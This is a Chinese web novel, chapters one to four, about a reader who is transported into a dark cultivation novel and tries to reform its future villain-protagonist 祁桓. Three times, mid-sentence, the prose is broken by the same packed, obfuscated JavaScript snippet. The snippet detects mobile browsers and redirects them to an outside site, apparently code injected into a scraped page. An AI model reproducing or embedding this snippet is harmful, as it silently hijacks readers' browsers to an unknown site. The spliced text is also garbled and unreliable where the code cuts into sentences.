《招惹黑暗流傲天的下场》 1. 第一章 “由于我的阅读速度快于常人,赤到石的时候已经来不及了啊啊啊!” 许清浔刚下班打开一本三江新文,忍不住悲嗥出声。 白天做游戏文案已经很累了,就想晚上放松一下,万万没想到居然碰上一坨。 他奋笔疾书火速锐评,还是气不过,准备再喷一波,然而还没发出—— 【您已被禁言 2075-05-20-23:59解禁】 “???” 许清浔呆住,然后更是气得浑身发抖。 这个月以来,他已经领了三次五十年大礼包! 他愤怒地关闭app,告诉自己要与人为善,不能生气,不能生气。 三分钟后,许清浔终于平静下来,随手打开网页一看,发现提醒的红点居然高达三十个。 他呆住,又顺手点了进去。那一楼他记得,当初看《醒红尘》的时候他气得不行,狂喷了几万字,但已经是一年前的事情了,谁在挖以前的楼? 难道又有受害者? 他心中一喜,翻到下面后嘴角顿僵。 【爱之深恨之切,哥们你未免太爱了】 【真的不喜欢男主早就弃文了,谁跟你一样追到完结啊】 【就是说啊,这哥们对男主的理解全网第一,黑到深处自然爱啊】 爱你大爷! 许清浔瞳孔地震,直接勃然大怒,你们说谁喜欢祁恒?滚啊! 他正要破口大骂,某企鹅突然跳出消息提醒。他一顿,又下意识打开聊天,发现左上角写着【天道酬勤】。 这人是谁? “……” 许清浔歪了歪头,这才想起前几天随手同意了一个群友的好友申请,当时时间太晚了,双方都没有打招呼,而他一睡过去,第二天就忘记了这件事。 这个天道酬勤……找他什么事? 许清浔纳闷了一下,目光下移。 【天道酬勤:吾寻思许久,此事恐怕只有阁下能够胜任】 什么胜任?许清浔傻眼。 【天道酬勤:吾抬头望去,众生凋零,满目破败,吾心殇矣。阁下,乃唯一能够扭转这一切之人】 许清浔心中当即蹦出“中二病”三个字,然而没等他开口,他眼前突然一道炽烈白光,浑身如坠火炉,恍惚间无数声音聚集成束,在耳边极速掠过。 那一瞬间,他感觉身体变成了无数的粒子,分崩离析,但彼此间仍有微弱的引力。 没有疼痛,只有一种说不出的轻松。 明明感觉不到眼睛的存在,却仿佛觉醒了天眼,能够洞悉周围事物的全部构造,甚至能够预测到它们的行动轨迹。 许清浔震撼了,终于体会到了何为“开悟”。 他自小对东方玄学感兴趣,少时将能看的玄书都看了,到大学更是办了一个玄学社,吸引了校内众多爱好者,而毕业之后,他毅然决然进入游戏行业,打算从0开始打造一个修真游戏。 万万没想到,跟素不相识的网友单方面地聊了几句后,居然有了如此不可思议的体验! 这世界果然非同寻常! 许清浔很快压下心中的震惊,速度感悟周围的一切。出乎意料地,周围的粒子世界转瞬即逝,取而代之的是“真实世界”。 这一刻,整个世界都慢了下来,他仿佛变成了一个婴儿,脑袋空空,懵懂无知。 然后,他逐渐长大,有了跟自己一模一样的名字“许清浔”,以及身份“许家第二十八代继承人”……还有师门——三玄宗! 许清浔瞳孔一震,终于从玄之又玄的状态中醒悟过来,意识到自己很有可能穿越到了《醒红尘》的世界。 没错,三玄门正是《醒红尘》男主祁桓的新手村! 好家伙,祁桓,可不是那个他恨之入骨、多年念念不忘的点文男主吗? 许清浔顿时精神了,心情大好,天知道他看书的时候多想暴捶祁桓,在点家那么多男主之中,只有祁桓能够让他拳头梆硬,恨不得捶个三天三夜,夜不想寐。 好啊,天助我也!既然我穿进来了,祁桓你小子就等着看读者大爷的厉害吧! 许清浔发出宏愿,嘴角高高上扬,比AK还难压。恰在这一刻,“玄之又玄”的状态终止了,像高速急刹车一样,许清浔一阵头昏眼花,内里天翻地覆,根本站不稳身。 待他回过神时,眼前的景象终于安定下来,是一间无人的修炼室,门外山清水秀,门内素雅清静。 许清浔恍惚了一下,才发现自己此时此刻正盘坐于蒲团之上,一身青衣道袍,身姿挺拔如竹,身侧放置着一柄短剑,其剑鞘呈青黑色,上面刻着几条道文。 横榻的正前,是两个冒着青烟的香炉,不大不小,有膝盖的高度。 他回想起来,此处是一座洞天福地,位于三玄宗北部地域,四面环湖,灵气沛然,号守真岛。 岛中常年只有许清浔一人居住,并无多余侍从,这种情况在三玄宗内较为罕见,毕竟年纪轻轻便拥有洞天福地的人物,谁的门下没有一群拥趸,需人管理灵石财物呢。要知道,修真讲究的,无非四个字,法、地、侣、财,有时候,人也是一种财,拥趸自然是越多越好。 许清浔却一点也不震惊,因为正是他亲自布置的。 而这……说来也奇怪。 许清浔缓缓起身,双足落于地面,感受着环绕于周身的“真实”。 他伸出手,目光低落,如同婴孩般尝试虚握,后眼露诧异,再然后唇线上扬,仿佛确信了什么。 “若我猜的没错,那个‘天道酬勤’应该是《醒红尘》的天道,原著结局天崩地裂,天道都要被磨灭了,而它为了自救,找来了异界的我,应该是这么理解的吧。” 许清浔不愧是阅文无数的老白读者,很快就搞明白了情况,又轻声低语道:“但我的穿越好像有些与众不同,这副身体并非他人的身体,而是我的身体,虽然我好像一眨眼就穿了进来,但我有‘许清浔’有意识以来的所有记忆,而且非常真实,好像我确实就是‘许清浔’本人,那有没有可能我是胎穿进来的,只是在此之前的人生被加速了一遍?” 他话音刚落,“许清浔”的人生经历再次闪烁而过,皆历历在目,无比真实,尤其是他一路横推同代,登临三玄宗第一人的一幕幕。 许清浔眼睛一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775785|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮,继续道:“有道理!不过原著里根本没有许清浔这个人,只是提到三玄宗有个天赋异禀的大师兄,后面连名字都没提到就光速下线了……好吧,不愧是天道,真会安插身份。” 他迅速地消化完了一切,抬起眸子,淡淡地望向前方,仿佛与人对话般道:“以上,我猜的没错吧?” 他看着天地,而天地无声。 他并无反应,继续道:“放心,祁桓那个变态就交给我吧,我不会让他毁天灭地祸乱九界的,只要没有什么重生buff,一个还没走出新手村的龙傲天,完全可以轻松拿捏好不好?” 天地依然无声,仿佛是一种默认。 许清浔表面云淡风轻,内心松了一口气。 若他说的不对,对面应该会有反应,他提问这点,主要是以防万一。他绝不是怕了成年傲天,只是若你给他认知已经定型的大变态和认知还在形成的小变态选择,他肯定会选择小变态,而且最重要的是,这个时间点的祁桓,还有回头的可能性。 要知道,《醒红尘》虽然是个不折不扣的黑暗流爽文,但它跟其他开场就设定主角是恶人的小白文不一样,它开场时主角的三观其实还算正常,是后来不断扭曲,才最终丧心病狂,黑化成了一个毁天灭地的大变态。 这种写法在网文中是一种禁忌,没有多少网文敢写人物变化,通常开场时,主角就是一个三观已经形成的健全人了,偏偏《醒红尘》不走寻常路,不走小白路线,反而走比小白更难绷的——文青路线! 被小白文创到,大概两到三天就能调理好,可是被文青文创到,那可是几年甚至一辈子都治愈不好的啊。 他有多希望祁桓走正道,就有多愤怒祁桓黑化迈入不归路,越走越深,直到回不了头。 许清浔面色一暗,气得浑身发抖,当即信誓旦旦道:“放心,我会负起责任暴打……咳,带好祁桓,把他培养成根正苗红、三观巨正的大道传承人!绝对不会让他歪了的!” 天地仍旧无声,但似乎光明了一些。 突然接到这么一桩任务,许清浔非但没有紧张,反而十分期待,不如说跃跃欲试! 能过从小就向往的修仙日子,还能顺带修理……咳,管教少年傲天,这日子想想就兴奋啊。不过话说回来,许清浔当下的年龄也才十八,不比十六岁的少年傲天大几年就是了。 “十八岁的三玄门大师兄,灵渊许氏寄以厚望的家族继承人,我这身名头也丝毫不虚龙傲天。” 许清浔淡淡一笑,任务归任务,他可不是随波逐流的主,作为多年点家读者,自然当信奉打铁还须自身硬,唯我独尊。 作为心灵导师养成龙傲天?让龙傲天登临大道而自己隐身?错,是自己登临大道,让龙傲天作陪! 哪有白做事的道理?再说了,为避免祁桓在他看不见的地方堕恶,最好把人收在眼皮子底下看着。 “好了,既然都搞明白了,那便出发吧,若我没猜错,祁桓……祁师弟此时应在浑金峰。” 许清浔唇线微扬,走出修炼室,雪般的长发随风飞舞,双眸灿若明月,端的是意气风发,神采奕奕。 傲天,你大哥来了!! 2. 第二章 浑金峰,顾名思义,五行为金,峰体弥漫着金灵气。它属外门十二峰,在上面居住修行的,大多是没有什么背景的外门弟子,祁桓就是其中之一。 浑金峰白虎门外,不断有玄衣弟子路过,皆渴望而憧憬地望着白虎门内的景象。 白虎门内,一些弟子正在接受训教。他们一共十八人,皆风尘仆仆,神色疲惫,显然是刚刚回宗,而且此次历练并不舒坦。 门外,有人低声感慨道:“听说,此去蝴海秘境,危机不断,更有凶人肆虐,血洗了大半秘境,胡师姐一行能够活着回来,实属不易啊。” 旁边有人点头道:“是啊,听说三大宗的内门天才都折损了不少,那个凶人究竟是何来历?为何如此凶恶,又怎么敢杀三大宗的弟子?” “听闻,陨落的天才之中,有一位御天宗太上长老的关门弟子。” 这话一出,众人面面相觑,脸色都不太好看。 玄界大大小小的道统无数,而其中最庞大、最强盛的莫过于由九大顶级修真世家簇拥而立的“三大宗”,也即鸿蒙宗、御天宗、问道宗。 当中,鸿蒙宗最神秘,御天宗最护短,问道宗最强势。御天宗的太上长老,地位堪比御天宗的宗主,其关门弟子初出茅庐便被杀,可想而知,接下来将有雷霆之怒。 他们所在的三玄宗虽然规模不小,但门中大修数量有限,对上三大宗的任何一个都是蚍蜉撼树,自取灭亡,他们平时碰见三大宗的弟子,无不是低头顺耳,唯恐避之不及,哪能跟那个凶人一样,面对三大宗的天才说杀就杀。 “不管怎样,此事一出,今后玄界怕是不得安宁了。” “听说有大能推断到,凶人就在进场的五十八支道统弟子之中,三大宗将逐一彻查。” 有几个人额冒冷汗,担心风波会牵扯到三玄宗,却不知,此时人群中一名黑衣少年眼神暗了暗,随后意味不明地轻笑了一声,仿佛他们所顾虑的事情乃无稽之谈,不足挂齿。 就在这时,白虎门内一道严肃的女声喊道:“各回洞府,莫在此闲聊。” 众人一听便知说话人的身份,连忙点头应是,然后纷纷离去。 三玄宗执法门的胡师姐,除了许大师兄之外,谁能不惧? 偏偏刚刚的黑衣少年逆着人流挺立,不为所动,他五官俊美异常,眼神温和如水,明明尚年少,却有着一种从容不迫的气度,只是立在那里而已,世界就仿佛区分了他与他者。 他今年才入三玄宗,虽容貌不凡,但寂寂无名,毕竟修士更看重实力,而非皮囊,气度再好,但看着性格过于温和,在这弱肉强食的修真界,恐怕很难生存下去。 不过,他似乎对此并不在意,温和的目光停落在不远处的石碑上。 那里篆刻着“白虎门”三个字,看似平平无奇,却有着非同一般的道韵,若用灵觉探查,甚至能感受到些微的剑意。 他眼中光芒闪烁,剑眉微微蹙起,温和的眼神中隐隐显出一丝凝重之色。 - 几乎同时,一个青色的身影悄然出现在白虎门前,其颀长的身姿在人群中格外醒目,却并不引人注意,因为提前用了隐蔽感知的道法。 许清浔到了,双足落于地面,抬眸看向散去的人群。 被加速的十八年记忆逐渐在他脑中加载,让他回忆起了一桩接一桩的往事,以及人物。 他认识的人并不多,抛开便宜家族不算,在宗门里,他只认识自己的师尊,以及几个存在感较强的师弟师妹。 便宜师尊收下他之后,给了他一片号称“玄界第一道书”的玉简,然而他还没来得及问如何开启,对方就消失无踪,导致他至今只能拿着玉简干瞪眼。 至于另外几个师弟师妹,他们都忙于修炼,平日鲜少与他来往。 许清浔翻找记忆,还发现一件不寻常的事。 原来他……咳,他自小就是个卷王,不,或者应该说,他只是把在现世卷的经验搬到了这个世界,具体表现为,自从灵智打开之后就一路卷成麻花,别人在玩泥巴的时候,他就已经开始玩符文,别人开始学说话的时候,他就已经开始吐纳灵气,别人开始炼气的时候,他就已经学会了御剑飞行,种种惊世行径震惊了许家一群老古董,被认为是上古圣贤转世,在许家的地位直追家主。 哈哈,不愧是我! 那也没办法啊,谁让他凡事不争到第一第二,晚上睡觉都不能安稳,他连看网文都必须要看主角是全书最强的!呃,祁桓那种最强就算了。 一想到祁桓,许清浔的脸色顿时沉重下来,眼里也多了几分复杂。 此时阳光倾斜,刚好照到了他的位置。他感到一股暖意,眉头展开,站前一步,视线在人群中扫动,随后瞳孔一震。 他曾以为,自己要费些时间才能找到祁桓,却没想到,一眼就在人群中认出了那道身影。 瘦削、孤独、倔强。 那个少年形单影只地立在那里,想不看到都难。 “……” 许清浔莫名一阵揪心,好像让人用针刺中了心头肉,猝不及防地疼了一下,不由自主地握紧拳头。 最讨厌的主角出现在自己面前,应该是怎样一种心情?是忍不住暴打对方,还是控制不住走上前冷嘲热讽,数落对方的百般不是,哪怕对方此时刚刚踏上修真之路。 他沉默了。 原书写到,出蝶湖秘境后,祁桓筑基成功,道心初定,坚信要走成仙之路,无论杀多少人也绝不动摇。 可究其原因,溯源根本,祁桓为何会如此? 许清浔神色微变,仿佛能够听见一些掺杂着血肉的声音,来自一个孤苦无依的小孩,满眼戾气的控诉。 原书几句简单的“灭族,逃亡,立誓复仇”概括完了祁桓大半的过去,可当书不是书,而是现实时,区区的几个字就能压得人喘不过气来。 祁桓若不是龙傲天,若没有机缘巧合捡到了《灭世魔经》,唤醒了里面的魔头,跟对方学了几招炼气术,这时候的坟头草都不知道多高了。 ……所以才说古早血海深仇型的暗黑龙傲天难搞啊。 许清浔皱了皱眉,目光死死地盯着那道背影,心中自问,就是这么一个人,将来会只手遮天,搅乱九界风云,将无数生灵置入炼狱之中吗。 说实话,光从视觉上看,完全看不出这个少年有那么大威胁。 是未来的经历,是未来种种灭绝人性的经历,让这个少年成了非人的怪物。 而现在,一切还来得及。 趁着这个人还没有彻底黑化,改变那个即将变成人间地狱的未来。 不是因为天道的请求,而是因为——他本心如此期望。他不希望任何人,哪怕只是纸片人,因为各种非本愿的事件,偏离自己的本心,最终变成一个面目全非的怪物。 许清浔顿时坚定信念,就在这时,突然间,那道身影猝不及防地动了,像是察觉到了身后之人无比炽烈的目光。 实际上,祁桓精神紧绷,进入三玄宗以来,他一直伪装得很好,没人发现他异于常人,亦没人关注他这个人。 可是此时此刻,他身后居然有一道视线。 那道视线如此之强烈,好像要将他整个人的模样刻入骨髓。 他的面色瞬间变了,脑中闪过无数思虑,偏偏此时那个可恨的魔头沉睡了,无法让魔头探其虚实。 对方是敌是友……不,绝对是敌。那绝对不是友好的目光。究竟是谁如此针对他? 祁桓眸光一闪,没有再犹豫,果断地转过身,正面对上了那道炽烈的目光。 他本想回以对方颜色,于目光中凝聚神念,反击这个胆敢盯着他看的人,却忽然僵在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775786|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了原地,难以置信地瞪大了眼睛。 对方的眼神并没有他想象中的充满敌意,而是—— 祁桓浑身凛然,竟一时分辨不出那是什么眼神。而且,比起眼神,此人的相貌怎会如此…… 几乎同时,许清浔回过神,佯作无事发生般稍稍移开视线,内心却在忍不住吐槽,你小子突然间回头有事吗!害得我视线对撞的时候好像被电了一下,可恶啊,这就是龙傲天的目光吗,哼哼,你大哥才不怕勒! 此时周围人已经走光了,偌大的白虎门前,只剩下了他们两人。 一人白衣盛雪,双手交叠,两袖绣着飘逸云纹,白玉般的双眸饶有趣味地前方的黑衣少年。 黑衣少年及时收住适才泛红的面色,眼神中显出凝重之色,带着几分拒人于千里之外的疏离与冷漠,其瘦削的身形对比面前之人,多少有些单薄。 他并不认识面前的白衣修士,却能分析出对方身份非凡,绝对不是可以随便得罪的人物。 似乎,麻烦了。 许清浔忽地笑了,朗声道:“原来如此,你就是祁桓。” 少年一愣,脑中疑云弥漫,没有立刻回答。 许清浔放下双手,迎着少年惊疑的目光,缓缓向前迈进,“我关注你很久了。” 少年面色顿白,仿佛想到了什么极糟糕之事,薄唇紧抿,终于开口,声音极低地问道:“很久,是何时开始。” 许清浔心道,自然是你刚有意识起,我就在关注你了。 一直关注你,看你遭难,看你痛苦,看你挣扎,看你从单纯少年步步黑化,最终变成浑身戾气的灭世大变态,中间不知道多少次怒喷作者还有你。 非要写这种剧情吗?要么一开始就是变态,要么中间被魔头夺舍了,怎么样都好,为何非得写一个好人变态? 还有你也是你,为何没有坚持下去?人家别的龙傲天都能坚持下去,永守本心,你小子为何不行? 你小子为何总是被改变?! 许清浔面色黑沉,片刻没有说话,导致气氛异常凝重。 再过片刻,他才终于淡淡地回答,“自你进三玄宗之后。” 少年额冒冷汗,显然没有相信许清浔的说法。 对方白发胜雪、绝色容姿、性情不羁,在三玄宗,只能想到一个人。 他终于认出了许清浔的身份,三玄宗大师兄,传说中的天才中的天才,明明有进三大宗的实力,却拒绝了三大宗的登门邀请,听说当时鸿蒙宗与御天宗为了争夺他不惜大打出手,问道宗拿出了上古传承以及天阶法宝,可他愣是谁也没选,主动进入了边缘的三玄宗。 此举在当时的玄界引起了轩然大波,人们百思不得其解,问许家也没有答案,后面传出了许多说法,比如说三玄宗宗主对许清浔有救命之恩,挟恩图报,要求许清浔拜入三玄宗,再比如说许清浔性情乖张,就爱不走寻常路,越是想他加入的宗门,他就越不想加入。 等等说法,至今仍在三玄宗中流传。 这位大师兄,乃是年轻一代中最神秘、最深不可测的人物。 祁桓沉默不语,眼中尽是戒备。 而许清浔已经走到了他面前,且没忍住唇角上扬,勾出了一个恣意的笑。 由于年龄差距,他比祁桓高上一些,这种俯视的感觉让他实在忍不住得意了一下。 这才是大哥对小弟该有的姿态! 见祁桓仿佛很紧张他的存在,许清浔更是喜上眉梢,动作快于念头,向僵立不动的少年伸出手,食指抬起对方的下颌,拇指缓缓摩挲,强迫对方与自己对上视线,欣赏无比地注视着那双略显局促的眸子,语气低沉而蛊惑地说:“师弟在浑金峰修行不便,不如来我守真岛,我独居,正缺人气。” 少年瞪大了眼睛,猝不及防之下,几乎被近在咫尺的绝色摄了心魂。 3. 第三章 许清浔正预备着祁桓拍开他的手,再呵斥出那句标准的“滚别碰我”,万万没想到对方愣在原地,只是瞪大了眼睛。 咋回事,难道太突然了,没反应过来吗? 许清浔不禁反思,心道确实有些突然,一个素不相识的人突然走过来,开口就是要你来他家,放在现实世界,那是想都不敢想的变态行为。 啊,变态竟是我自己? 但许清浔又想,我是读者,他是主角,读者跟主角还不熟吗?读者喊主角回家,又何不妥? 咳,不能想太多,再说了,哥们干的都是正经事! 许清浔快速调整心情,松手后退一步,笑呵呵地说:“或许是突兀了些,我寻你,其实是为了……代师收徒!” 不好意思啦便宜师尊,我得借用您的名头把这小子绑在身边。 祁桓一顿,脑子终于运转起来,目光提防地打量着许清浔,显然刚刚被震惊到了。 许清浔脸不红心不跳,一本正经道:“你大概已经看出了我的身份,我名许清浔,乃太上长老一脉的首席大弟子,亦是三玄宗名义上的大师兄,你若入我门,便是我脉七弟子,你唤我师兄便好。” 他的语气过于笃定,好像祁桓成为他一脉的师弟已经是板上钉钉之事。这也没办法,他就是这般人,率直坦率,从不拐弯抹角,穿越前是何种人,穿越后仍是何种人,修真讲究照见本性,岂有修真了还反而当伪人的道理? 他完全不知,此时祁桓心中想的是,这个人长得这么清艳绝伦,性情却是如此…… 许清浔见祁桓一直不回答,倒也不着急,仍旧一脸平静地注视着祁桓,仿佛在回忆什么,又或是在将眼前人,与自己的某些印象进行对比。 看得久了,祁桓都不太自在。 因为许清浔打量的目光深处,仿佛藏着几分……难以言说的、深切的、悲伤。 祁桓顿了顿,不禁想问,这个人,为何而悲? 却在这时,许清浔接着开口,语气平淡而深沉地说道:“师弟,你这一路走来,很不容易吧。” 祁桓面色微变。 许清浔则仿佛沉浸在了某种思绪之中,坦言道:“我不能与你感同身受,但至少,我知道,他们不知道的,我都知道。” “……” 祁桓沉默不语,眼中透着难以置信。 早知道三玄宗大师兄语出惊人,说的话常常叫人无法理解,今时今日,他也算是见识了。 但没等祁桓说什么,许清浔回过神,意识到自己刚刚居然说了那么尴尬的话。 去我大爷的,这都要尴尬到抠出整个玄界了! 许清浔面色涨红,头脑一下子卡顿住,一时间不知道该说什么。 祁桓见他耳尖都将漫上红霞,不禁无意识地勾起半边唇。 许清浔脸色更红,“小子你笑什么?大哥那是在安慰你呢!” 祁桓眨了眨眼,似乎不以为然。 许清浔眉尾一挑,寻思着,作为掌控信息差的读者,自己应该轻而易举地拿捏对方才对,怎能反而被对方挑动情绪? 不行,他可是要做龙傲天大哥的男人啊! 许清浔立刻平静下来,高深莫测地笑了笑,对祁桓道:“师弟不说话,师兄便当你答应了,可否?” 祁桓眼神微变,却见许清浔仿佛洞悉了他心思般,缓缓说道:“拜入太上长老门下,对外门弟子来说,可是一个千载难逢的好机会,可不费吹灰之力进入内门之列,修炼所需的‘地’与‘财’亦不在话下,我想任何一个外门弟子,都不可能拒绝这个机会。” 祁桓盯着他,点头应是,但没有立刻同意。 许清浔又道:“你是不明白自己为何会被看中吧,说实话……” 祁桓等着他继续说,又见许清浔莞尔一笑。 “我也不明白!” 青衣修士铿锵有力、信誓旦旦道:“你尽管来便是!你只要来了,便是我的小弟……呸!我的小师弟了,以后不管发生什么事,都有大哥、大师兄我罩着你,你绝对没有黑化机会……咳,你绝对会大道畅通,前途无上光明!” 虽是标准到不能再标准的画饼发言,盖因本人过于赤忱坦率,显得话语莫名有力。 只是,祁桓还是不明白。而且,他十分忌惮。他担心对方的目的是《灭世魔经》。 而许清浔说完后,声线转变温和,眼神中也带了几分温柔,继续道:“再说了,祁师弟的不凡,本师兄也都看在眼里,能够看出石碑上蕴有剑意,并且还能隔着如此远的距离感悟,外门弟子之中也唯有你能够做到。三玄宗向来注重人才培育,祁师弟这样的人才,我实在不忍心你流落在外,这是明珠蒙尘,暴殄天物啊。” 祁桓蹙眉,似乎有些被打动了。 许清浔见状心喜。 祁桓却问道:“寻前面五位师兄师姐时,也是这般突然吗。” 许清浔一呆,当即回想过去,发现确实如祁桓所说,便宜师尊看上了便喊他代收,他们一脉,除了他是便宜师尊亲自收的,其他都是他收的。 他沉默着思考,正要回答,祁桓突然点头道:“好,我随师兄入守真岛。” 许清浔没想到祁桓居然这就应了下来,不免感到震惊,呆呆地抬起头,一脸疑惑地看着祁桓。 在他的预想中,祁桓起码还要七八轮的软磨硬泡,才可能答应下来,为何这就答应了?他都还没动真格! 只见,黑衣少年温和一笑,淡淡道:“太上长老一脉的收徒轶事早有耳闻。而且,师兄。” 他好像故意地停顿了一下,直视着许清浔的眼睛道:“你没有恶意,不是吗。” 恶、恶意?! 许清浔呆住,心喜的同时,又不免沉了沉。 因为“没有恶意”,涉及到祁桓未来的一个重要黑化点。少年时期的祁桓还会认真辨析他人是否有恶意,而未来…… 他一阵揪心,使命感当即熊熊燃起。 未来?不,有他这个大哥在,绝对不会有那个未来! 许清浔神色肃然,郑重万分道:“放宽心,你既然成了我脉弟子,你的事就是我的事,你若碰到什么麻烦,尽管喊我这个大师兄!” 祁桓听着,并无太多反应,只是轻轻地点了点头,然后道:“事发突然,能否给我时间回院收拾。” 许清浔大方摆手,“自然可以,要师兄帮忙吗?”说着,他好像又要缩近距离。 “不必。”祁桓格外客气,后退一步,始终与许清浔保持着两步距离。 许清浔笑了笑,从虚空中取出一片碧绿色的灵玉牌子,递给祁桓,道:“这是守真岛的入门钥匙,你收拾好之后,带着牌子过来便是,没有人会阻扰你。” “多谢大师兄与师尊赏识。”祁桓拱手应是,不卑不亢,端的是温文尔雅、气定神闲。 若非许清浔知道他的秉性,保不准就要误会了。 真是,在现代,十六岁啥年纪?才高一高二好好学习天天向上的年纪好吧,哪有像这家伙一样的,表面温和内心苦大仇深…… 许清浔在家是大哥,亲弟弟刚好也是十六岁,看祁桓时不免想到自己的亲弟弟,虽然在玄界十六岁已经是成家立业的年龄,但在他眼中……弟弟就应该是弟弟。 想着,许清浔突然伸出了手,摸了摸黑衣少年的头顶。 绣着云纹的长袖随风拂动,他在阳光下明媚一笑,双眸居高临下地注视着略显局促的少年。 “一日为师兄,终生为大哥!”他歪了歪头,抚过少年的脸,“你也是我看中的主角、咳、男人……哦不,少年。” 本要整一出帅气发言,没想到咬了舌头,怎么都说不对头,许清浔收回手连咳三声,面色微微泛红,哪里像传说中威风凛凛的青年楷模。 祁桓:“……” 他本十分反感他人的这般举动,可是见那人涨红着脸,懊恼局促无所适从的样子,竟一时不知作什么反应。 片刻后,目送着祁桓离去,许清浔笑容微僵,低头抚摸下巴,喃喃自语道。 “那家伙真跟书里写的一样,小小年纪就已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775787|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宠辱不惊,与他对比,我会不会表现得太夸张了?但我好不容易见到本人,实在有些激动,控制不住。嗯……他绝对会以为我有毛病吧,不对,明明我给了他大好处,他反而以为我有问题是什么道理?不管了,反正为了整他、哦不,是看好他,必须要把他控制在我眼皮子底下。” 他打定主意,同时表情略显凝重,因为想到了祁桓身上的《灭世魔经》。 这既是一本绝世经书,也是一件大杀器,祁桓之所以步步走歪,跟《灭世魔经》的经魔有很大关系,只不过,按照原书的说法,经魔由于在蝴海秘境汲取了太多血气,现如今陷入了沉睡状态,再次醒来……应该在百日之后。 换句话说,他要在百日之内,想办法让祁桓对他打开心扉,接受他的传统型经典龙傲天教育。 我命由我不由天?可。逆天?可。灭世?不可! 难就难在,那小子目前心思深沉得很,身上还背负着血海深仇,岂是你说改变就能改变的。 只能说,慢慢来吧。 许清浔双眸发亮,坚信功夫不负有心人,哪怕是块石头,他天天捂,也总能捂热的吧! 片刻之后,他消去身形,白虎门前寂寥无人,一阵秋风扫落叶。 - 院内,祁桓正在收拾东西,将屋内的鼎炉、符咒、法器,一并收起带走。 他显然要离开这里了,但不是去守真岛,而是——离开三玄宗。 进入大宗门,成为内门弟子曾是他梦寐以求的事情,但是笑话,他不是蠢货,明知身怀魔道秘宝,怎敢跑到太上长老门下? 许清浔说的再真切、再动人、再无恶意,也难保是不是幕后有人在操纵这一切,另有企图。 所以,必须尽快离开此地。 祁桓面色肃然,果断推开了门,然后下一刻,他呆住了。 院外,青衣修士扭头望向他,摇手招呼道:“师弟收拾真快,我才来接你,这就收拾好了。” 祁桓浑身一震,目光死死地盯着青衣修士,若此处是生死战场,他的眼神就好似在衡量自己与对方之间的修为差距,以及若是打起来,谁更有胜算。 但青衣修士仿佛没察觉到他的敌意,单手收负在手,笑容格外灿烂。 “我思来想去,三玄宗这么大,怕师弟迷路,还是得亲自来接人。” 祁桓面色发白,又听见那个人语气平淡道:“师弟才筑基期,我守真岛有接近金丹期的守护灵兽,万一不小心碰上,那如何是好?” 祁桓默默地吸了一口气。 这家伙是在警告他吗,告诫他两人修为差距足足一个境界,他若硬来,根本无法全身而退。 的确,他如今的实力,恐怕还不能对付这个三玄宗第一人。 “师兄说的是,那便劳烦师兄带路了。” 祁桓早已不再是以前的单纯小孩,自然知道审时度势,转而挂上一副人畜无害的微笑。 许清浔见此,眼里闪过一丝复杂,接着仿佛无事发生,笑呵呵地朗声道:“小事小事,区区带路!” 不久之后,来到岸边,祁桓停下脚步,目光落在水面,仿佛在思考着从水路逃走的可能性。 而在这时,他身边的青衣修士道:“水里有筑基巅峰期的恶蛟,师弟小心不要落水。” 祁桓脸色一白,“师兄居所这般独特。” 许清浔歪头,摸着下巴寻思一阵,谦虚道:“还好还好。” “……” 祁桓微微皱眉,似乎已经束手无策,只好随着许清浔进入守真岛。 此处不愧是三玄宗数一数二的洞天福地,灵气之浓郁超乎寻常,空气中的五行灵气甚至肉眼可见,泛着浅浅的五色光泽。 迷阵之后,山水相依,殿宇林立,雕梁画栋,气派非常,忽有一阵清风拂面,带来一股沁人心脾的兰花香。 祁桓眼睛渐渐睁大,好像第一次目睹这种场面。 许清浔又是一笑,顺手抓住祁桓的手腕,头也不回地拉着人走,“进来吧,今后你便住在这儿了。” 4. 第四章 进入守真岛,一通介绍指点之后,许清浔终于图穷匕见,从虚空中取出了一枚玉佩。 “这个,师弟务必妥善收好。” 祁桓顿住,目光落在玉佩上。 许清浔一本正经地说明道:“此佩内里刻有符纹,与我手上另外一枚为夫妻佩,可十里之内随时召唤彼此。” 祁桓一脸古怪地看着他,冷不丁地问:“夫妻佩?” 许清浔呆住,不好意思地摸摸头,“哈哈,只是一种说法而已,好用就成不是吗?师兄不是那种在意虚名的人。” 是这个问题吗? 祁桓:“……” 空气微妙地静默了下来。 许清浔眨了眨眼,突然先发制人,二话不说地塞到祁桓手里,随后快速闪到了门外,喊道:“师弟慢慢安置,师兄有事先走了!” 说完人影消失无踪,只剩下祁桓对着玉佩一脸沉思。 - “不管怎样,人先到手了!” 许清浔殿中踱步,一边回忆,一边盘算。 